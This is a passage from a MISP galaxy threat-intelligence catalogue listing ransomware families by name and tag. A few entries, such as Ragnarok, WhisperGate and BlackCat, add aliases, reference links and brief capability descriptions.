Ransom Prank

ransomware

The tag is: *misp-galaxy:ransomware="Ransom Prank"*

RansomUserLocker

ransomware

The tag is: *misp-galaxy:ransomware="RansomUserLocker"*

RansomWarrior

ransomware

The tag is: *misp-galaxy:ransomware="RansomWarrior"*

Rapid

ransomware

The tag is: *misp-galaxy:ransomware="Rapid"*

Rapid 2.0

ransomware

The tag is: *misp-galaxy:ransomware="Rapid 2.0"*

Rapid 3.0

ransomware

The tag is: *misp-galaxy:ransomware="Rapid 3.0"*

Rapid-Gillette

ransomware

The tag is: *misp-galaxy:ransomware="Rapid-Gillette"*

Ra

ransomware

The tag is: *misp-galaxy:ransomware="Ra"*

RaRuCrypt

ransomware

The tag is: *misp-galaxy:ransomware="RaRuCrypt"*

RedBoot

ransomware

The tag is: *misp-galaxy:ransomware="RedBoot"*

Redkeeper

ransomware

The tag is: *misp-galaxy:ransomware="Redkeeper"*

RedFox

ransomware

The tag is: *misp-galaxy:ransomware="RedFox"*

RedRum

ransomware

The tag is: *misp-galaxy:ransomware="RedRum"*

Redshot

ransomware

The tag is: *misp-galaxy:ransomware="Redshot"*

Reetner

ransomware

The tag is: *misp-galaxy:ransomware="Reetner"*

RekenSom

ransomware

The tag is: *misp-galaxy:ransomware="RekenSom"*

Relock

ransomware

The tag is: *misp-galaxy:ransomware="Relock"*

RensenWare

ransomware

The tag is: *misp-galaxy:ransomware="RensenWare"*

Rentyr

ransomware

The tag is: *misp-galaxy:ransomware="Rentyr"*

RestoLocker

ransomware

The tag is: *misp-galaxy:ransomware="RestoLocker"*

Resurrection

ransomware

The tag is: *misp-galaxy:ransomware="Resurrection"*

Retis

ransomware

The tag is: *misp-galaxy:ransomware="Retis"*

RetMyData

ransomware

The tag is: *misp-galaxy:ransomware="RetMyData"*

Revolution

ransomware

The tag is: *misp-galaxy:ransomware="Revolution"*

Reyptson

ransomware

The tag is: *misp-galaxy:ransomware="Reyptson"*

Rhino

ransomware

The tag is: *misp-galaxy:ransomware="Rhino"*

Rijndael

ransomware

The tag is: *misp-galaxy:ransomware="Rijndael"*

Rogue HT

ransomware

The tag is: *misp-galaxy:ransomware="Rogue HT"*

Rontok

ransomware

The tag is: *misp-galaxy:ransomware="Rontok"*

Rozlok

ransomware

The tag is: *misp-galaxy:ransomware="Rozlok"*

RSA-NI

ransomware

The tag is: *misp-galaxy:ransomware="RSA-NI"*

RSA2048Pro

ransomware

The tag is: *misp-galaxy:ransomware="RSA2048Pro"*

Ruby

ransomware

The tag is: *misp-galaxy:ransomware="Ruby"*

Rush

ransomware

The tag is: *misp-galaxy:ransomware="Rush"*

Russenger

ransomware

The tag is: *misp-galaxy:ransomware="Russenger"*

Russian EDA2

ransomware

The tag is: *misp-galaxy:ransomware="Russian EDA2"*

SAD

ransomware

The tag is: *misp-galaxy:ransomware="SAD"*

SadComputer

ransomware

The tag is: *misp-galaxy:ransomware="SadComputer"*

Sadogo

ransomware

The tag is: *misp-galaxy:ransomware="Sadogo"*

Salsa

ransomware

The tag is: *misp-galaxy:ransomware="Salsa"*

Santa Encryptor

ransomware

The tag is: *misp-galaxy:ransomware="Santa Encryptor"*

Saramat

ransomware

The tag is: *misp-galaxy:ransomware="Saramat"*

SARansom

ransomware

The tag is: *misp-galaxy:ransomware="SARansom"*

Satan Cryptor 2.0

ransomware

The tag is: *misp-galaxy:ransomware="Satan Cryptor 2.0"*

Satan’s Doom Crypter

ransomware

The tag is: *misp-galaxy:ransomware="Satan’s Doom Crypter"*

SatanCryptor Go

ransomware

The tag is: *misp-galaxy:ransomware="SatanCryptor Go"*

Saturn

ransomware

The tag is: *misp-galaxy:ransomware="Saturn"*

Satyr

ransomware

The tag is: *misp-galaxy:ransomware="Satyr"*

SaveTheQueen

ransomware

The tag is: *misp-galaxy:ransomware="SaveTheQueen"*

ScammerLocker HT

ransomware

The tag is: *misp-galaxy:ransomware="ScammerLocker HT"*

ScammerLocker Ph

ransomware

The tag is: *misp-galaxy:ransomware="ScammerLocker Ph"*

Schwerer

ransomware

The tag is: *misp-galaxy:ransomware="Schwerer"*

ScorpionLocker

ransomware

The tag is: *misp-galaxy:ransomware="ScorpionLocker"*

Scrabber

ransomware

The tag is: *misp-galaxy:ransomware="Scrabber"*

Scroboscope

ransomware

The tag is: *misp-galaxy:ransomware="Scroboscope"*

SecretSystem

ransomware

The tag is: *misp-galaxy:ransomware="SecretSystem"*

SecureCryptor

ransomware

The tag is: *misp-galaxy:ransomware="SecureCryptor"*

SeginChile

ransomware

The tag is: *misp-galaxy:ransomware="SeginChile"*

SEND.ID.TO

ransomware

The tag is: *misp-galaxy:ransomware="SEND.ID.TO"*

Seon

ransomware

The tag is: *misp-galaxy:ransomware="Seon"*

Sepsis

ransomware

The tag is: *misp-galaxy:ransomware="Sepsis"*

SepSys

ransomware

The tag is: *misp-galaxy:ransomware="SepSys"*

Shadi

ransomware

The tag is: *misp-galaxy:ransomware="Shadi"*

ShadowCryptor

ransomware

The tag is: *misp-galaxy:ransomware="ShadowCryptor"*

ShinigamiLocker

ransomware

The tag is: *misp-galaxy:ransomware="ShinigamiLocker"*

ShkolotaCrypt

ransomware

The tag is: *misp-galaxy:ransomware="ShkolotaCrypt"*

Shrug

ransomware

The tag is: *misp-galaxy:ransomware="Shrug"*

Shutdown57

ransomware

The tag is: *misp-galaxy:ransomware="Shutdown57"*

ShutUpAndDance

ransomware

The tag is: *misp-galaxy:ransomware="ShutUpAndDance"*

Sifreli 2017

ransomware

The tag is: *misp-galaxy:ransomware="Sifreli 2017"*

Sifreli 2019

ransomware

The tag is: *misp-galaxy:ransomware="Sifreli 2019"*

SifreCozucu

ransomware

The tag is: *misp-galaxy:ransomware="SifreCozucu"*

SilentSpring

ransomware

The tag is: *misp-galaxy:ransomware="SilentSpring"*

SintaLocker

ransomware

The tag is: *misp-galaxy:ransomware="SintaLocker"*

Skull

ransomware

The tag is: *misp-galaxy:ransomware="Skull"*

Skull HT

ransomware

The tag is: *misp-galaxy:ransomware="Skull HT"*

SkyStars

ransomware

The tag is: *misp-galaxy:ransomware="SkyStars"*

SlankCryptor

ransomware

The tag is: *misp-galaxy:ransomware="SlankCryptor"*

Snake-Ekans

ransomware

The tag is: *misp-galaxy:ransomware="Snake-Ekans"*

SnakeLocker

ransomware

The tag is: *misp-galaxy:ransomware="SnakeLocker"*

Snatch

ransomware

The tag is: *misp-galaxy:ransomware="Snatch"*

SnowPicnic

ransomware

The tag is: *misp-galaxy:ransomware="SnowPicnic"*

SoFucked

ransomware

The tag is: *misp-galaxy:ransomware="SoFucked"*

SOLO

ransomware

The tag is: *misp-galaxy:ransomware="SOLO"*

Somik1

ransomware

The tag is: *misp-galaxy:ransomware="Somik1"*

Sorry HT

ransomware

The tag is: *misp-galaxy:ransomware="Sorry HT"*

SpartCrypt

ransomware

The tag is: *misp-galaxy:ransomware="SpartCrypt"*

Spectre

ransomware

The tag is: *misp-galaxy:ransomware="Spectre"*

Sphinx

ransomware

The tag is: *misp-galaxy:ransomware="Sphinx"*

Spiteful Doubletake

ransomware

The tag is: *misp-galaxy:ransomware="Spiteful Doubletake"*

SpongeBob

ransomware

The tag is: *misp-galaxy:ransomware="SpongeBob"*

StalinLocker

ransomware

The tag is: *misp-galaxy:ransomware="StalinLocker"*

Stinger

ransomware

The tag is: *misp-galaxy:ransomware="Stinger"*

Storm

ransomware

The tag is: *misp-galaxy:ransomware="Storm"*

StrawHat

ransomware

The tag is: *misp-galaxy:ransomware="StrawHat"*

Streamer

ransomware

The tag is: *misp-galaxy:ransomware="Streamer"*

Striked

ransomware

The tag is: *misp-galaxy:ransomware="Striked"*

Stroman

ransomware

The tag is: *misp-galaxy:ransomware="Stroman"*

Stupid

ransomware

The tag is: *misp-galaxy:ransomware="Stupid"*

StupidJapan

ransomware

The tag is: *misp-galaxy:ransomware="StupidJapan"*

Styver

ransomware

The tag is: *misp-galaxy:ransomware="Styver"*

Styx

ransomware

The tag is: *misp-galaxy:ransomware="Styx"*

SuperB

ransomware

The tag is: *misp-galaxy:ransomware="SuperB"*

SuperCrypt

ransomware

The tag is: *misp-galaxy:ransomware="SuperCrypt"*

Suri

ransomware

The tag is: *misp-galaxy:ransomware="Suri"*

Symbiom

ransomware

The tag is: *misp-galaxy:ransomware="Symbiom"*

SymmyWare

ransomware

The tag is: *misp-galaxy:ransomware="SymmyWare"*

Syrk

ransomware

The tag is: *misp-galaxy:ransomware="Syrk"*

SYSDOWN

ransomware

The tag is: *misp-galaxy:ransomware="SYSDOWN"*

SystemCrypter

ransomware

The tag is: *misp-galaxy:ransomware="SystemCrypter"*

T1Happy

ransomware

The tag is: *misp-galaxy:ransomware="T1Happy"*

Takahiro Locker

ransomware

The tag is: *misp-galaxy:ransomware="Takahiro Locker"*

TBHRanso

ransomware

The tag is: *misp-galaxy:ransomware="TBHRanso"*

Teamo

ransomware

The tag is: *misp-galaxy:ransomware="Teamo"*

Tear Dr0p

ransomware

The tag is: *misp-galaxy:ransomware="Tear Dr0p"*

Technicy

ransomware

The tag is: *misp-galaxy:ransomware="Technicy"*

TeslaWare

ransomware

The tag is: *misp-galaxy:ransomware="TeslaWare"*

TFlower

ransomware

The tag is: *misp-galaxy:ransomware="TFlower"*

The Brotherhood

ransomware

The tag is: *misp-galaxy:ransomware="The Brotherhood"*

The Magic

ransomware

The tag is: *misp-galaxy:ransomware="The Magic"*

TheCursedMurderer

ransomware

The tag is: *misp-galaxy:ransomware="TheCursedMurderer"*

TheDarkEncryptor

ransomware

The tag is: *misp-galaxy:ransomware="TheDarkEncryptor"*

Thor

ransomware

The tag is: *misp-galaxy:ransomware="Thor"*

THT

ransomware

The tag is: *misp-galaxy:ransomware="THT"*

ThunderCrypt

ransomware

The tag is: *misp-galaxy:ransomware="ThunderCrypt"*

Tk

ransomware

The tag is: *misp-galaxy:ransomware="Tk"*

Torchwood

ransomware

The tag is: *misp-galaxy:ransomware="Torchwood"*

TorLocker

ransomware

The tag is: *misp-galaxy:ransomware="TorLocker"*

TotalWipeOut

ransomware

The tag is: *misp-galaxy:ransomware="TotalWipeOut"*

TPS1.0

ransomware

The tag is: *misp-galaxy:ransomware="TPS1.0"*

Trick-Or-Treat

ransomware

The tag is: *misp-galaxy:ransomware="Trick-Or-Treat"*

Trojan-Syria

ransomware

The tag is: *misp-galaxy:ransomware="Trojan-Syria"*

TrumpHead

ransomware

The tag is: *misp-galaxy:ransomware="TrumpHead"*

TurkStatik

ransomware

The tag is: *misp-galaxy:ransomware="TurkStatik"*

Tyrant

ransomware

The tag is: *misp-galaxy:ransomware="Tyrant"*

UCCU

ransomware

The tag is: *misp-galaxy:ransomware="UCCU"*

Ukash

ransomware

The tag is: *misp-galaxy:ransomware="Ukash"*

Ultimo HT

ransomware

The tag is: *misp-galaxy:ransomware="Ultimo HT"*

UltraCrypter

ransomware

The tag is: *misp-galaxy:ransomware="UltraCrypter"*

Unikey

ransomware

The tag is: *misp-galaxy:ransomware="Unikey"*

Unknown Crypted

ransomware

The tag is: *misp-galaxy:ransomware="Unknown Crypted"*

Unknown Lock

ransomware

The tag is: *misp-galaxy:ransomware="Unknown Lock"*

Unknown XTBL

ransomware

The tag is: *misp-galaxy:ransomware="Unknown XTBL"*

Unlckr

ransomware

The tag is: *misp-galaxy:ransomware="Unlckr"*

UNNAM3D

ransomware

The tag is: *misp-galaxy:ransomware="UNNAM3D"*

Unnamed Bin

ransomware

The tag is: *misp-galaxy:ransomware="Unnamed Bin"*

Unrans

ransomware

The tag is: *misp-galaxy:ransomware="Unrans"*

UselessDisk

ransomware

The tag is: *misp-galaxy:ransomware="UselessDisk"*

UselessFiles

ransomware

The tag is: *misp-galaxy:ransomware="UselessFiles"*

USR0

ransomware

The tag is: *misp-galaxy:ransomware="USR0"*

Vaca

ransomware

The tag is: *misp-galaxy:ransomware="Vaca"*

VCrypt

ransomware

The tag is: *misp-galaxy:ransomware="VCrypt"*

vCrypt1

ransomware

The tag is: *misp-galaxy:ransomware="vCrypt1"*

VegaLocker

ransomware

The tag is: *misp-galaxy:ransomware="VegaLocker"*

Velso

ransomware

The tag is: *misp-galaxy:ransomware="Velso"*

Vendetta

ransomware

The tag is: *misp-galaxy:ransomware="Vendetta"*

VevoLocker

ransomware

The tag is: *misp-galaxy:ransomware="VevoLocker"*

VHD

ransomware

The tag is: *misp-galaxy:ransomware="VHD"*

ViACrypt

ransomware

The tag is: *misp-galaxy:ransomware="ViACrypt"*

Viagra

ransomware

The tag is: *misp-galaxy:ransomware="Viagra"*

VideoBelle

ransomware

The tag is: *misp-galaxy:ransomware="VideoBelle"*

ViiperWare

ransomware

The tag is: *misp-galaxy:ransomware="ViiperWare"*

Viro

ransomware

The tag is: *misp-galaxy:ransomware="Viro"*

ViroBotnet

ransomware

The tag is: *misp-galaxy:ransomware="ViroBotnet"*

VisionCrypt

ransomware

The tag is: *misp-galaxy:ransomware="VisionCrypt"*

VMola

ransomware

The tag is: *misp-galaxy:ransomware="VMola"*

VoidCrypt

ransomware

The tag is: *misp-galaxy:ransomware="VoidCrypt"*

Vulston

ransomware

The tag is: *misp-galaxy:ransomware="Vulston"*

Waffle

ransomware

The tag is: *misp-galaxy:ransomware="Waffle"*

Waiting

ransomware

The tag is: *misp-galaxy:ransomware="Waiting"*

Waldo

ransomware

The tag is: *misp-galaxy:ransomware="Waldo"*

Wanna Decryptor Portuguese

ransomware

The tag is: *misp-galaxy:ransomware="Wanna Decryptor Portuguese"*

WannabeHappy

ransomware

The tag is: *misp-galaxy:ransomware="WannabeHappy"*

WannaCash

ransomware

The tag is: *misp-galaxy:ransomware="WannaCash"*

WannaDie

ransomware

The tag is: *misp-galaxy:ransomware="WannaDie"*

WannaPeace

ransomware

The tag is: *misp-galaxy:ransomware="WannaPeace"*

WannaSpam

ransomware

The tag is: *misp-galaxy:ransomware="WannaSpam"*

Want Money

ransomware

The tag is: *misp-galaxy:ransomware="Want Money"*

Wesker

ransomware

The tag is: *misp-galaxy:ransomware="Wesker"*

WhatAFuck

ransomware

The tag is: *misp-galaxy:ransomware="WhatAFuck"*

WhyCry

ransomware

The tag is: *misp-galaxy:ransomware="WhyCry"*

Windows10

ransomware

The tag is: *misp-galaxy:ransomware="Windows10"*

WininiCrypt

ransomware

The tag is: *misp-galaxy:ransomware="WininiCrypt"*

Winsecure

ransomware

The tag is: *misp-galaxy:ransomware="Winsecure"*

WinUpdatesDisabler

ransomware

The tag is: *misp-galaxy:ransomware="WinUpdatesDisabler"*

WTDI

ransomware

The tag is: *misp-galaxy:ransomware="WTDI"*

X Locker 5.0

ransomware

The tag is: *misp-galaxy:ransomware="X Locker 5.0"*

XCry

ransomware

The tag is: *misp-galaxy:ransomware="XCry"*

XD

ransomware

The tag is: *misp-galaxy:ransomware="XD"*

XData

ransomware

The tag is: *misp-galaxy:ransomware="XData"*

XeroWare

ransomware

The tag is: *misp-galaxy:ransomware="XeroWare"*

Xlockr

ransomware

The tag is: *misp-galaxy:ransomware="Xlockr"*

XmdXtazX

ransomware

The tag is: *misp-galaxy:ransomware="XmdXtazX"*

Xncrypt

ransomware

The tag is: *misp-galaxy:ransomware="Xncrypt"*

XRat

ransomware

The tag is: *misp-galaxy:ransomware="XRat"*

XyuEncrypt

ransomware

The tag is: *misp-galaxy:ransomware="XyuEncrypt"*

xXLecXx

ransomware

The tag is: *misp-galaxy:ransomware="xXLecXx"*

Yatron

ransomware

The tag is: *misp-galaxy:ransomware="Yatron"*

Yoshikada

ransomware

The tag is: *misp-galaxy:ransomware="Yoshikada"*

YYYYBJQOQDU

ransomware

The tag is: *misp-galaxy:ransomware="YYYYBJQOQDU"*

ZariqaCrypt

ransomware

The tag is: *misp-galaxy:ransomware="ZariqaCrypt"*

Zelta Free

ransomware

The tag is: *misp-galaxy:ransomware="Zelta Free"*

ZenCrypt

ransomware

The tag is: *misp-galaxy:ransomware="ZenCrypt"*

Zeoticus

ransomware

The tag is: *misp-galaxy:ransomware="Zeoticus"*

Zeppelin

ransomware

The tag is: *misp-galaxy:ransomware="Zeppelin"*

Zero-Fucks

ransomware

The tag is: *misp-galaxy:ransomware="Zero-Fucks"*

ZeroLocker

ransomware

The tag is: *misp-galaxy:ransomware="ZeroLocker"*

Zeronine

ransomware

The tag is: *misp-galaxy:ransomware="Zeronine"*

ZeroRansom

ransomware

The tag is: *misp-galaxy:ransomware="ZeroRansom"*

Zilla

ransomware

The tag is: *misp-galaxy:ransomware="Zilla"*

ZimbraCryptor

ransomware

The tag is: *misp-galaxy:ransomware="ZimbraCryptor"*

ZipLocker

ransomware

The tag is: *misp-galaxy:ransomware="ZipLocker"*

Zipper

ransomware

The tag is: *misp-galaxy:ransomware="Zipper"*

Zoldon

ransomware

The tag is: *misp-galaxy:ransomware="Zoldon"*

ZorgoCry

ransomware

The tag is: *misp-galaxy:ransomware="ZorgoCry"*

Smaug

ransomware

The tag is: *misp-galaxy:ransomware="Smaug"*

GammA

ransomware

The tag is: *misp-galaxy:ransomware="GammA"*

BlackMoon

ransomware

The tag is: *misp-galaxy:ransomware="BlackMoon"*

MilkmanVictory

ransomware

The tag is: *misp-galaxy:ransomware="MilkmanVictory"*

Dragoncyber

ransomware

The tag is: *misp-galaxy:ransomware="Dragoncyber"*

Solider

ransomware

The tag is: *misp-galaxy:ransomware="Solider"*

Biglock

ransomware

The tag is: *misp-galaxy:ransomware="Biglock"*

Immuni

ransomware

The tag is: *misp-galaxy:ransomware="Immuni"*

Black claw

ransomware

The tag is: *misp-galaxy:ransomware="Black claw"*

Banks1

ransomware

The tag is: *misp-galaxy:ransomware="Banks1"*

UnluckyWare

ransomware

The tag is: *misp-galaxy:ransomware="UnluckyWare"*

Zorab

ransomware

The tag is: *misp-galaxy:ransomware="Zorab"*

FonixCrypter

ransomware

The tag is: *misp-galaxy:ransomware="FonixCrypter"*

LickyAgent

ransomware

The tag is: *misp-galaxy:ransomware="LickyAgent"*

Avaddon

ransomware

The tag is: *misp-galaxy:ransomware="Avaddon"*

DualShot

ransomware

The tag is: *misp-galaxy:ransomware="DualShot"*

RNS

ransomware

The tag is: *misp-galaxy:ransomware="RNS"*

Such_Crypt

ransomware

The tag is: *misp-galaxy:ransomware="Such_Crypt"*

20dfs

ransomware

The tag is: *misp-galaxy:ransomware="20dfs"*

CryDroid

ransomware

The tag is: *misp-galaxy:ransomware="CryDroid"*

TomNom

ransomware

The tag is: *misp-galaxy:ransomware="TomNom"*

Yogynicof

ransomware

The tag is: *misp-galaxy:ransomware="Yogynicof"*

CobraLocker

ransomware

The tag is: *misp-galaxy:ransomware="CobraLocker"*

PL

ransomware

The tag is: *misp-galaxy:ransomware="PL"*

CryCryptor

ransomware

The tag is: *misp-galaxy:ransomware="CryCryptor"*

Blocky

ransomware

The tag is: *misp-galaxy:ransomware="Blocky"*

OhNo-FakePDF

ransomware

The tag is: *misp-galaxy:ransomware="OhNo-FakePDF"*

Try2Cry

ransomware

The tag is: *misp-galaxy:ransomware="Try2Cry"*

LolKek

ransomware

The tag is: *misp-galaxy:ransomware="LolKek"*

FlowEncrypt

ransomware

The tag is: *misp-galaxy:ransomware="FlowEncrypt"*

WhoLocker

ransomware

The tag is: *misp-galaxy:ransomware="WhoLocker"*

Pojie

ransomware

The tag is: *misp-galaxy:ransomware="Pojie"*

Aris Locker

ransomware

The tag is: *misp-galaxy:ransomware="Aris Locker"*

EduRansom

ransomware

The tag is: *misp-galaxy:ransomware="EduRansom"*

Fastwind

ransomware

The tag is: *misp-galaxy:ransomware="Fastwind"*

Silvertor

ransomware

The tag is: *misp-galaxy:ransomware="Silvertor"*

Exorcist

ransomware

The tag is: *misp-galaxy:ransomware="Exorcist"*

WyvernLocker

ransomware

The tag is: *misp-galaxy:ransomware="WyvernLocker"*

Ensiko

ransomware

The tag is: *misp-galaxy:ransomware="Ensiko"*

Django

ransomware

The tag is: *misp-galaxy:ransomware="Django"*

RansomBlox

ransomware

The tag is: *misp-galaxy:ransomware="RansomBlox"*

BitRansomware

ransomware

The tag is: *misp-galaxy:ransomware="BitRansomware"*

AESMew

ransomware

The tag is: *misp-galaxy:ransomware="AESMew"*

DeathOfShadow

ransomware

The tag is: *misp-galaxy:ransomware="DeathOfShadow"*

XMRLocker

ransomware

The tag is: *misp-galaxy:ransomware="XMRLocker"*

WinWord64

ransomware

The tag is: *misp-galaxy:ransomware="WinWord64"*

ThunderX

ransomware

The tag is: *misp-galaxy:ransomware="ThunderX"*

Mountlocket

ransomware

The tag is: *misp-galaxy:ransomware="Mountlocket"*

Gladius

ransomware

The tag is: *misp-galaxy:ransomware="Gladius"*

Cyrat

ransomware

The tag is: *misp-galaxy:ransomware="Cyrat"*

Crypt32

ransomware

The tag is: *misp-galaxy:ransomware="Crypt32"*

BizHack

ransomware

The tag is: *misp-galaxy:ransomware="BizHack"*

Geneve

ransomware

The tag is: *misp-galaxy:ransomware="Geneve"*

Z3

ransomware

The tag is: *misp-galaxy:ransomware="Z3"*

Leakthemall

ransomware

The tag is: *misp-galaxy:ransomware="Leakthemall"*

Conti

ransomware

The tag is: *misp-galaxy:ransomware="Conti"*

Table 6464. Table References

Links
https://www.cyber.gov.au/acsc/view-all-content/advisories/2021-010-acsc-ransomware-profile-conti

Makop

ransomware

The tag is: *misp-galaxy:ransomware="Makop"*

Best Crypt

ransomware

The tag is: *misp-galaxy:ransomware="Best Crypt"*

Consciousness

ransomware

The tag is: *misp-galaxy:ransomware="Consciousness"*

Flamingo

ransomware

The tag is: *misp-galaxy:ransomware="Flamingo"*

PewPew

ransomware

The tag is: *misp-galaxy:ransomware="PewPew"*

DogeCrypt

ransomware

The tag is: *misp-galaxy:ransomware="DogeCrypt"*

Badbeeteam

ransomware

The tag is: *misp-galaxy:ransomware="Badbeeteam"*

Solve

ransomware

The tag is: *misp-galaxy:ransomware="Solve"*

RenameX12

ransomware

The tag is: *misp-galaxy:ransomware="RenameX12"*

Zhen

ransomware

The tag is: *misp-galaxy:ransomware="Zhen"*

Datacloud

ransomware

The tag is: *misp-galaxy:ransomware="Datacloud"*

Ironcat

ransomware

The tag is: *misp-galaxy:ransomware="Ironcat"*

Dusk

ransomware

The tag is: *misp-galaxy:ransomware="Dusk"*

Cutekitty

ransomware

The tag is: *misp-galaxy:ransomware="Cutekitty"*

Babax

ransomware

The tag is: *misp-galaxy:ransomware="Babax"*

Eyecry

ransomware

The tag is: *misp-galaxy:ransomware="Eyecry"*

Osno

ransomware

The tag is: *misp-galaxy:ransomware="Osno"*

Loki

ransomware

The tag is: *misp-galaxy:ransomware="Loki"*

WoodRat

ransomware

The tag is: *misp-galaxy:ransomware="WoodRat"*

Curator

ransomware

The tag is: *misp-galaxy:ransomware="Curator"*

32aa

ransomware

The tag is: *misp-galaxy:ransomware="32aa"*

Vaggen

ransomware

The tag is: *misp-galaxy:ransomware="Vaggen"*

Clay

ransomware

The tag is: *misp-galaxy:ransomware="Clay"*

Pizhon

ransomware

The tag is: *misp-galaxy:ransomware="Pizhon"*

InstallPay

ransomware

The tag is: *misp-galaxy:ransomware="InstallPay"*

MetadataBin

ransomware

The tag is: *misp-galaxy:ransomware="MetadataBin"*

TechandStrat

ransomware

The tag is: *misp-galaxy:ransomware="TechandStrat"*

Mars

ransomware

The tag is: *misp-galaxy:ransomware="Mars"*

Scatterbrain

ransomware

The tag is: *misp-galaxy:ransomware="Scatterbrain"*

CCECrypt

ransomware

The tag is: *misp-galaxy:ransomware="CCECrypt"*

SZ40

ransomware

The tag is: *misp-galaxy:ransomware="SZ40"*

Pay2Key

ransomware

The tag is: *misp-galaxy:ransomware="Pay2Key"*

Tripoli

ransomware

The tag is: *misp-galaxy:ransomware="Tripoli"*

Devos

ransomware

The tag is: *misp-galaxy:ransomware="Devos"*

HowAreYou

ransomware

The tag is: *misp-galaxy:ransomware="HowAreYou"*

SifreCikis

ransomware

The tag is: *misp-galaxy:ransomware="SifreCikis"*

68-Random-HEX

ransomware

The tag is: *misp-galaxy:ransomware="68-Random-HEX"*

RedRoman

ransomware

The tag is: *misp-galaxy:ransomware="RedRoman"*

MXX

ransomware

The tag is: *misp-galaxy:ransomware="MXX"*

Exerwa CTF

ransomware

The tag is: *misp-galaxy:ransomware="Exerwa CTF"*

HelloKitty

ransomware

The tag is: *misp-galaxy:ransomware="HelloKitty"*

HolidayCheer

ransomware

The tag is: *misp-galaxy:ransomware="HolidayCheer"*

Joker Korean

ransomware

The tag is: *misp-galaxy:ransomware="Joker Korean"*

VenomRAT

ransomware

The tag is: *misp-galaxy:ransomware="VenomRAT"*

FileEngineering

ransomware

The tag is: *misp-galaxy:ransomware="FileEngineering"*

LandSlide

ransomware

The tag is: *misp-galaxy:ransomware="LandSlide"*

Mobef-JustFun

ransomware

The tag is: *misp-galaxy:ransomware="Mobef-JustFun"*

View relationships graph

Mobef-JustFun has relationships with:

- similar: misp-galaxy:ransomware="Mobef" with estimative-language:likelihood-probability="likely"

Amjixius

ransomware

The tag is: *misp-galaxy:ransomware="Amjixius"*

Amjixius is also known as:

- Ancrypted

Table 6465. Table References

Links
https://malware-guide.com/blog/remove-amjixius-ransomware-restore-encrypted-files

DearCry

ransomware

The tag is: *misp-galaxy:ransomware="DearCry"*

JoJoCrypter

ransomware

The tag is: *misp-galaxy:ransomware="JoJoCrypter"*

RunExeMemory

ransomware

The tag is: *misp-galaxy:ransomware="RunExeMemory"*

Pay2Decrypt

ransomware

The tag is: *misp-galaxy:ransomware="Pay2Decrypt"*

Tortoise

ransomware

The tag is: *misp-galaxy:ransomware="Tortoise"*

EPICALLY

ransomware

The tag is: *misp-galaxy:ransomware="EPICALLY"*

Random30

ransomware

The tag is: *misp-galaxy:ransomware="Random30"*

Hog

ransomware

The tag is: *misp-galaxy:ransomware="Hog"*

Steel

ransomware

The tag is: *misp-galaxy:ransomware="Steel"*

JohnBorn

ransomware

The tag is: *misp-galaxy:ransomware="JohnBorn"*

Egalyty

ransomware

The tag is: *misp-galaxy:ransomware="Egalyty"*

Namaste

ransomware

The tag is: *misp-galaxy:ransomware="Namaste"*

HDLocker

ransomware

The tag is: *misp-galaxy:ransomware="HDLocker"*

Epsilon

ransomware

The tag is: *misp-galaxy:ransomware="Epsilon"*

DeroHE

ransomware

The tag is: *misp-galaxy:ransomware="DeroHE"*

Vovalex

ransomware

The tag is: *misp-galaxy:ransomware="Vovalex"*

Bonsoir

ransomware

The tag is: *misp-galaxy:ransomware="Bonsoir"*

PulpFictionQuote

ransomware

The tag is: *misp-galaxy:ransomware="PulpFictionQuote"*

NAS Data Compromiser

ransomware

The tag is: *misp-galaxy:ransomware="NAS Data Compromiser"*

CNH

ransomware

The tag is: *misp-galaxy:ransomware="CNH"*

Lucy

ransomware

The tag is: *misp-galaxy:ransomware="Lucy"*

OCT

ransomware

The tag is: *misp-galaxy:ransomware="OCT"*

OCT is also known as:

- OctEncrypt

Pump

ransomware

The tag is: *misp-galaxy:ransomware="Pump"*

LuciferCrypt

ransomware

The tag is: *misp-galaxy:ransomware="LuciferCrypt"*

Ziggy

ransomware

The tag is: *misp-galaxy:ransomware="Ziggy"*

CoderCrypt

ransomware

The tag is: *misp-galaxy:ransomware="CoderCrypt"*

BlueEagle

ransomware

The tag is: *misp-galaxy:ransomware="BlueEagle"*

Povisomware

ransomware

The tag is: *misp-galaxy:ransomware="Povisomware"*

JCrypt

ransomware

The tag is: *misp-galaxy:ransomware="JCrypt"*

Uh-Oh

ransomware

The tag is: *misp-galaxy:ransomware="Uh-Oh"*

Mijnal

ransomware

The tag is: *misp-galaxy:ransomware="Mijnal"*

16x

The tag is: *misp-galaxy:ransomware="16x"*

Lockedv1

ransomware

The tag is: *misp-galaxy:ransomware="Lockedv1"*

XD Locker

ransomware

The tag is: *misp-galaxy:ransomware="XD Locker"*

Knot

ransomware

The tag is: *misp-galaxy:ransomware="Knot"*

Parasite

ransomware

The tag is: *misp-galaxy:ransomware="Parasite"*

Judge

ransomware

The tag is: *misp-galaxy:ransomware="Judge"*

DEcovid19

ransomware

The tag is: *misp-galaxy:ransomware="DEcovid19"*

Ragnarok

Ragnarok is is a ransomware that targetscorporate networks in Big Game Huntingtargeted attacks. The ransomware is associated with 'double-extortion' tactic, stealing and publishing files on a data leak site (DLS).

The tag is: *misp-galaxy:ransomware="Ragnarok"*

Table 6466. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnaro
https://borncity.com/win/2021/03/27/tu-darmstadt-opfer-der-ragnarok-ransomware/

WhisperGate

Destructive malware deployed against targets in Ukraine in January 2022.

The tag is: *misp-galaxy:ransomware="WhisperGate"*

Table 6467. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.whispergate
https://www.cadosecurity.com/resources-for-dfir-professionals-responding-to-whispergate-malware/
https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/

BlackCat

BlackCat (ALPHV) is ransomware written in Rust. The ransomware makes heavy use of plaintext JSON configuration files to specify the ransomware functionality. BlackCat has many advanced capabilities like escalating privileges and bypassing UAC make use of AES and ChaCha20 or Salsa encryption, may use the Restart Manager, can delete volume shadow copies, can enumerate disk volumes and network shares automatically, and may kill specific processes and services. The ransomware exists for both Windows, Linux, and ESXi systems. Multiple extortion techniques are used by the BlackCat gang, such as exfiltrating victim data before the ransomware deployment, threats to release data if the ransomw is not paid, and distributed denial-of-service (DDoS) attacks.

The tag is: *misp-galaxy:ransomware="BlackCat"*

BlackCat is also known as:

- ALPHV
- Noberus

View relationships graph

BlackCat has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"
